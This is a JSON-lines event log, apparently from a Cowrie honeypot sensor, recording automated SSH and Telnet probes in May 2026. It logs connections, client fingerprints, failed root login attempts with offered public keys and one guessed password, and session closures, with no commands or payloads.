{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:92:a0:c9:e3:2a:a4:83:d5:40:85:f1:5c:a2:43:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDH2sdD4eSBRNdbh17QK9YEbDcd1oIknr9Jf+xbWl+mCqC0JyJTI/NdBkwm4cMWl0+MJA0oXzdGNoxxRvoYX+EMcfAebrXW8co6QIJAOyVurvuiHJIeicMmZoez/oyz59eBNgdhy9zapwc6Qs4rI1aEZwfFXMm/iSI1Gx95ZyiXM05nbouKu4XQmIxM7vbhX6mHLqKrHpBlVt2aBDnJ4xYmff9s0URlhvYntb3jzKUrg7BVrp8hM30wGN/20CTkga6XQjXY+c0CFBTLcrV14vixHHQFoL/hLp8GlQO68yonsmm0JISmn0KkJAmuspOqkY6zebrQXsjAlGZhsZxjUUGMcG2D2UG2f0rIw0YR5YmGm48kkUKRP1br/T8TdIkCgsP8PsFWBINR0/X0jzWZobR+MD827bG0TlHLGvHtYoKgUYK5fX73FPx8gzd30koHwIGJFNdLwGxgGjkTDXmhix8aVHvXRECDqhxR5JvLNHSVKiMA5co7cneUZcJDXRHQCgqTRpiNcaeeXr5gXVF5K9l0r+3A8jfByEh5dIialooAvmvj7TrGR0onFoKOEGLsRIp4SwHnSLQ+qOGG9AWsBnUwRMJqmmvFxEXj864I7UYln8aR0/S4IYG5/MtY0tFo+bf9SouU3XW60xr5t6cHLD9ci8pVC+dK+eqfDcxzuRCdWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:92:a0:c9:e3:2a:a4:83:d5:40:85:f1:5c:a2:43:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:08.321581Z","src_ip":"193.70.122.120","session":"68b48891a948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:92:a0:c9:e3:2a:a4:83:d5:40:85:f1:5c:a2:43:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDH2sdD4eSBRNdbh17QK9YEbDcd1oIknr9Jf+xbWl+mCqC0JyJTI/NdBkwm4cMWl0+MJA0oXzdGNoxxRvoYX+EMcfAebrXW8co6QIJAOyVurvuiHJIeicMmZoez/oyz59eBNgdhy9zapwc6Qs4rI1aEZwfFXMm/iSI1Gx95ZyiXM05nbouKu4XQmIxM7vbhX6mHLqKrHpBlVt2aBDnJ4xYmff9s0URlhvYntb3jzKUrg7BVrp8hM30wGN/20CTkga6XQjXY+c0CFBTLcrV14vixHHQFoL/hLp8GlQO68yonsmm0JISmn0KkJAmuspOqkY6zebrQXsjAlGZhsZxjUUGMcG2D2UG2f0rIw0YR5YmGm48kkUKRP1br/T8TdIkCgsP8PsFWBINR0/X0jzWZobR+MD827bG0TlHLGvHtYoKgUYK5fX73FPx8gzd30koHwIGJFNdLwGxgGjkTDXmhix8aVHvXRECDqhxR5JvLNHSVKiMA5co7cneUZcJDXRHQCgqTRpiNcaeeXr5gXVF5K9l0r+3A8jfByEh5dIialooAvmvj7TrGR0onFoKOEGLsRIp4SwHnSLQ+qOGG9AWsBnUwRMJqmmvFxEXj864I7UYln8aR0/S4IYG5/MtY0tFo+bf9SouU3XW60xr5t6cHLD9ci8pVC+dK+eqfDcxzuRCdWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:08.325513Z","src_ip":"193.70.122.120","session":"68b48891a948","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:eb:e1:c8:c3:fa:11:7c:3a:b2:5a:33:10:36:d4:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKaJuUrdNUTLNOUlqUOVh/8LujffeF1RcJVvRSDAGbEkYCQW+IJMf9ysnQKezKR35WDggnJPNJrLLvu9/TvwT6kYpJrXCk1jshAZ3AjxOVfEaRq4cgSXgJPOEeGrWjQc3FzEICz7j8ZG1PbX0xLa13Rq3eH4vh1a39mi/FNpCi84nsGjM4cyEFJzzpcA/H9XLLBD5+tb2VJRuHWc39BntlAXOgshgSAwKr8Kgdi6YZC1IjAkAse6+TN21Rc1Ayr3zDWY3eUVG48ehyShg5vGWs18TIQt7ZJYLKcjJSsEGWMR7U4sGr0Taz6lSBVodj2Pg08W+WqbxueR8ShGEu36Ee6uxhQAkZCkrwcV9GjnPv8MuwW16mRxcZ+nIj0MHNkMFrQntTjEHEhbsug8Ea9PlUyujhQQiEwARC45qkSGZXpYhdGVZwK/xvO2/hh7m6Dtma7udTW+L9WqGW083KHM24MYqItb1UmKiLJxA6GeJr2AULPhOycSS60g+fEZflf7SO1Nz4q+rxyjUqP40/6oJQCOoyGnaH6HydLpjtTy9T84YLMKyqx6bwd6LdbnnA5TXzMLcQJKmfiARIlaYlMPrlmt0w5X8NqtQK8LSyyCJGO2rkeR6HQiPL8rzZZIEV5EjBxTn+qqQWyIKjG8YqQY5bLc3jNyRLdGg141A2Jb2anw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:eb:e1:c8:c3:fa:11:7c:3a:b2:5a:33:10:36:d4:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:08.403632Z","src_ip":"193.70.122.120","session":"68b48891a948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:eb:e1:c8:c3:fa:11:7c:3a:b2:5a:33:10:36:d4:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKaJuUrdNUTLNOUlqUOVh/8LujffeF1RcJVvRSDAGbEkYCQW+IJMf9ysnQKezKR35WDggnJPNJrLLvu9/TvwT6kYpJrXCk1jshAZ3AjxOVfEaRq4cgSXgJPOEeGrWjQc3FzEICz7j8ZG1PbX0xLa13Rq3eH4vh1a39mi/FNpCi84nsGjM4cyEFJzzpcA/H9XLLBD5+tb2VJRuHWc39BntlAXOgshgSAwKr8Kgdi6YZC1IjAkAse6+TN21Rc1Ayr3zDWY3eUVG48ehyShg5vGWs18TIQt7ZJYLKcjJSsEGWMR7U4sGr0Taz6lSBVodj2Pg08W+WqbxueR8ShGEu36Ee6uxhQAkZCkrwcV9GjnPv8MuwW16mRxcZ+nIj0MHNkMFrQntTjEHEhbsug8Ea9PlUyujhQQiEwARC45qkSGZXpYhdGVZwK/xvO2/hh7m6Dtma7udTW+L9WqGW083KHM24MYqItb1UmKiLJxA6GeJr2AULPhOycSS60g+fEZflf7SO1Nz4q+rxyjUqP40/6oJQCOoyGnaH6HydLpjtTy9T84YLMKyqx6bwd6LdbnnA5TXzMLcQJKmfiARIlaYlMPrlmt0w5X8NqtQK8LSyyCJGO2rkeR6HQiPL8rzZZIEV5EjBxTn+qqQWyIKjG8YqQY5bLc3jNyRLdGg141A2Jb2anw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:08.407358Z","src_ip":"193.70.122.120","session":"68b48891a948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:08.485430Z","src_ip":"193.70.122.120","session":"68b48891a948","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.126.161.143","src_port":44624,"dst_ip":"10.17.0.5","dst_port":22,"session":"47b299e975ef","protocol":"ssh","message":"New connection: 103.126.161.143:44624 (10.17.0.5:22) [session: 47b299e975ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:42.873006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:42.877259Z","src_ip":"103.126.161.143","session":"47b299e975ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:43.121804Z","src_ip":"103.126.161.143","session":"47b299e975ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:c3:db:c7:24:b6:12:64:64:44:22:8b:3c:45:2a:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+eHQ7S64HoPiSS+h8/ojf+sxroSp9zkM/WglyL/nmQUPFaR5Z7mCrhT9eRUY0djwOb2N3alckAsl0XTZkZCbNakayXdnMpSiPmgFciM5wuKQVJPzbvp0sdTOo+KzkLCyA6eUN6SMikX77vGtPbODmUNwZln2wwdOWNJt57Lhk1VCgy7pNuCYDR8dt/7enBpnK9JKsmv2G08Wbdzb2hqCRvpAG8eqaA8lLtVvVvoAkL9Cwhl5hd9qOjB0XND0vzVZE3l2f3l1nV3QGFgOXleL64Fn3Gl3vySBCKftGSUyL1cF0xzH4xynJEJuMLXyeMlVGw+VGZ5KF1iP2g/oGFdbX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:c3:db:c7:24:b6:12:64:64:44:22:8b:3c:45:2a:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:44.325971Z","src_ip":"103.126.161.143","session":"47b299e975ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:c3:db:c7:24:b6:12:64:64:44:22:8b:3c:45:2a:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+eHQ7S64HoPiSS+h8/ojf+sxroSp9zkM/WglyL/nmQUPFaR5Z7mCrhT9eRUY0djwOb2N3alckAsl0XTZkZCbNakayXdnMpSiPmgFciM5wuKQVJPzbvp0sdTOo+KzkLCyA6eUN6SMikX77vGtPbODmUNwZln2wwdOWNJt57Lhk1VCgy7pNuCYDR8dt/7enBpnK9JKsmv2G08Wbdzb2hqCRvpAG8eqaA8lLtVvVvoAkL9Cwhl5hd9qOjB0XND0vzVZE3l2f3l1nV3QGFgOXleL64Fn3Gl3vySBCKftGSUyL1cF0xzH4xynJEJuMLXyeMlVGw+VGZ5KF1iP2g/oGFdbX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:44.329702Z","src_ip":"103.126.161.143","session":"47b299e975ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:4c:85:fe:6e:d1:d4:0a:72:59:30:0e:aa:b8:c5:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKw36oINkTfCVUUMxgLsKNggOYNCINBxSrQsmT751SwLHsRslHVURjFiPC9UZ9lCvBkhBGdc++ZiCf/m0F2HctaIolyp00aSb1gHRlQJa2ZJhhqZv0Gy0FITgZYnsm9Lrz3iZ0htjPdP+9dZfa319W6da1M6dl+sEfBT+2nytAyuoZisUUKPOmSEiB1LntlGfhU5ONN5vtj7g2+MLMc5YdGU221m3Jgx/uagCSb+sVD084qN1J/gonvYpunxoCOj8c52GowkIRM255m7CvBYHTDLsuzjw3Pa7w3g0Kl5gPfVtXg/4Xd+LIh6656QA91TtymDkUrPa+zu9ksWGKz7+j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:4c:85:fe:6e:d1:d4:0a:72:59:30:0e:aa:b8:c5:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:44.579648Z","src_ip":"103.126.161.143","session":"47b299e975ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:4c:85:fe:6e:d1:d4:0a:72:59:30:0e:aa:b8:c5:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKw36oINkTfCVUUMxgLsKNggOYNCINBxSrQsmT751SwLHsRslHVURjFiPC9UZ9lCvBkhBGdc++ZiCf/m0F2HctaIolyp00aSb1gHRlQJa2ZJhhqZv0Gy0FITgZYnsm9Lrz3iZ0htjPdP+9dZfa319W6da1M6dl+sEfBT+2nytAyuoZisUUKPOmSEiB1LntlGfhU5ONN5vtj7g2+MLMc5YdGU221m3Jgx/uagCSb+sVD084qN1J/gonvYpunxoCOj8c52GowkIRM255m7CvBYHTDLsuzjw3Pa7w3g0Kl5gPfVtXg/4Xd+LIh6656QA91TtymDkUrPa+zu9ksWGKz7+j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:44.583910Z","src_ip":"103.126.161.143","session":"47b299e975ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:6b:ff:e5:2f:68:fe:0d:83:a6:66:20:74:34:44:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3jCUMfH0GrA4JIEUp0PN2n+48huasjrpnV+Qo32eB+iWnm0++LwEqyyZI7kgxt7CVF6sH4Qsi4e1OByAn3SklEg8hN5hfO1X6zS5hpH6S3S0yGoXZVJ4GloNmaaebt2Nxy1adQpar6BnWuw4q2evqtFEO1h81kvTeUZNu7VY6O1uOSM8n7euPU/O+FeBEsSPKJrqBGyS1rv250vj+cDd3CTQeLF+hxd5yOoY7CoS+DFK0F3T4JXKXuOSv+ZLR9eHg9MD2qH1eubEPTRttT7n25XMea+jRffhgtxjsUDYLD++s0Rqd3oAAM9QggHoqWkm/aegqcVB2RJ/avOpr9jNxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:6b:ff:e5:2f:68:fe:0d:83:a6:66:20:74:34:44:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:44.832712Z","src_ip":"103.126.161.143","session":"47b299e975ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:6b:ff:e5:2f:68:fe:0d:83:a6:66:20:74:34:44:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3jCUMfH0GrA4JIEUp0PN2n+48huasjrpnV+Qo32eB+iWnm0++LwEqyyZI7kgxt7CVF6sH4Qsi4e1OByAn3SklEg8hN5hfO1X6zS5hpH6S3S0yGoXZVJ4GloNmaaebt2Nxy1adQpar6BnWuw4q2evqtFEO1h81kvTeUZNu7VY6O1uOSM8n7euPU/O+FeBEsSPKJrqBGyS1rv250vj+cDd3CTQeLF+hxd5yOoY7CoS+DFK0F3T4JXKXuOSv+ZLR9eHg9MD2qH1eubEPTRttT7n25XMea+jRffhgtxjsUDYLD++s0Rqd3oAAM9QggHoqWkm/aegqcVB2RJ/avOpr9jNxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:44.836885Z","src_ip":"103.126.161.143","session":"47b299e975ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:31:2b:dd:84:9f:e9:c8:5c:2f:5c:39:7e:71:ef:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAludpQYxUtZcv7Mn4jfx+LCSWIQEWpH7FhZWmj8B2+w+1uAL4Sd4CwcqmWaRO1F83tz3uM9Jx7vCPq32dfZZEA+xFsOO6hz5GZSxkg7RpmlxuQn8+SUEu2aOI9aseCVNr7ePtfekoYfbtJAds/+bqrRLiXn30OKQvc5bZJbEuErjwgUZJhHyVKvSBSzbcMcWVlzbFL6T9gO1woMvVFCdy9M7rfFm39fSZgNSkoQnaPUsgdB6Q9tIqsTPO8f01riqazPy2m/KLG5/VEXxHPPigrzxtAHu3cZYHbQlvuINqpmMIXXLdM5Iby5Wc2cONO/FUUCMrHyOU4V0+uIQIu9VZDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:31:2b:dd:84:9f:e9:c8:5c:2f:5c:39:7e:71:ef:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:45.083137Z","src_ip":"103.126.161.143","session":"47b299e975ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:31:2b:dd:84:9f:e9:c8:5c:2f:5c:39:7e:71:ef:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAludpQYxUtZcv7Mn4jfx+LCSWIQEWpH7FhZWmj8B2+w+1uAL4Sd4CwcqmWaRO1F83tz3uM9Jx7vCPq32dfZZEA+xFsOO6hz5GZSxkg7RpmlxuQn8+SUEu2aOI9aseCVNr7ePtfekoYfbtJAds/+bqrRLiXn30OKQvc5bZJbEuErjwgUZJhHyVKvSBSzbcMcWVlzbFL6T9gO1woMvVFCdy9M7rfFm39fSZgNSkoQnaPUsgdB6Q9tIqsTPO8f01riqazPy2m/KLG5/VEXxHPPigrzxtAHu3cZYHbQlvuINqpmMIXXLdM5Iby5Wc2cONO/FUUCMrHyOU4V0+uIQIu9VZDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:45.087174Z","src_ip":"103.126.161.143","session":"47b299e975ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:67:72:97:16:7a:22:87:e7:e5:b1:bb:99:e0:77:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe8j/qTTS8VtRp9Z7rj1A78W46iTEjBpHhxVol4fjcZ4FJNugVNMUa4X6VGFxuqgyP8CzSXFj8uX1wTif1k6IbxSczU0wVz7AQnQ7+QIcHp4Qpy85qgKPCZbw4GJoBePKZY0womU17osNZe0efeO8ENrzmOxa7xb68QrOGv6pa3HqGY5e5fdMQMwSfZ858jMSbue9Lqe6YJljCxiATFCxCP9Q+KxWGYvJOmkilq9Zi7+1YkEAlZWnYJ4kAM0BFrjiV7WM5MM+TfHIFJiSW8FXX1HZFbx/LQjIeJkHA7OYMHWgSh0pUvjtiuf0Kot7urG2NfzerEqjgNVJv8LM/BDBJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:67:72:97:16:7a:22:87:e7:e5:b1:bb:99:e0:77:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:45.333375Z","src_ip":"103.126.161.143","session":"47b299e975ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:67:72:97:16:7a:22:87:e7:e5:b1:bb:99:e0:77:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe8j/qTTS8VtRp9Z7rj1A78W46iTEjBpHhxVol4fjcZ4FJNugVNMUa4X6VGFxuqgyP8CzSXFj8uX1wTif1k6IbxSczU0wVz7AQnQ7+QIcHp4Qpy85qgKPCZbw4GJoBePKZY0womU17osNZe0efeO8ENrzmOxa7xb68QrOGv6pa3HqGY5e5fdMQMwSfZ858jMSbue9Lqe6YJljCxiATFCxCP9Q+KxWGYvJOmkilq9Zi7+1YkEAlZWnYJ4kAM0BFrjiV7WM5MM+TfHIFJiSW8FXX1HZFbx/LQjIeJkHA7OYMHWgSh0pUvjtiuf0Kot7urG2NfzerEqjgNVJv8LM/BDBJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:45.338153Z","src_ip":"103.126.161.143","session":"47b299e975ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:33:45.597242Z","src_ip":"103.126.161.143","session":"47b299e975ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.109.8","src_port":34051,"dst_ip":"159.203.135.109","dst_port":22,"session":"8801eeaa19e4","protocol":"ssh","message":"New connection: 45.33.109.8:34051 (159.203.135.109:22) [session: 8801eeaa19e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:36:14.142221Z"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:36:19.706272Z","src_ip":"45.33.109.8","session":"8801eeaa19e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.62","src_port":46162,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c8682a441a7","protocol":"ssh","message":"New connection: 64.62.197.62:46162 (10.17.0.5:22) [session: 2c8682a441a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:37:57.153924Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:37:57.158725Z","src_ip":"64.62.197.62","session":"2c8682a441a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:37:57.162384Z","src_ip":"64.62.197.62","session":"2c8682a441a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":46775,"dst_ip":"10.17.0.5","dst_port":23,"session":"320c41f77748","protocol":"telnet","message":"New connection: 212.55.149.117:46775 (10.17.0.5:23) [session: 320c41f77748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:38:02.275403Z"}
{"eventid":"cowrie.session.closed","duration":61.72711682319641,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:39:04.002400Z","src_ip":"212.55.149.117","session":"320c41f77748","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":32546,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eff98b83d34","protocol":"ssh","message":"New connection: 193.24.211.100:32546 (159.203.135.109:22) [session: 7eff98b83d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:35.653640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:35.664546Z","src_ip":"193.24.211.100","session":"7eff98b83d34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:35.803250Z","src_ip":"193.24.211.100","session":"7eff98b83d34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111222333","message":"login attempt [root/111222333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:41:36.230408Z","src_ip":"193.24.211.100","session":"7eff98b83d34","protocol":"ssh"}
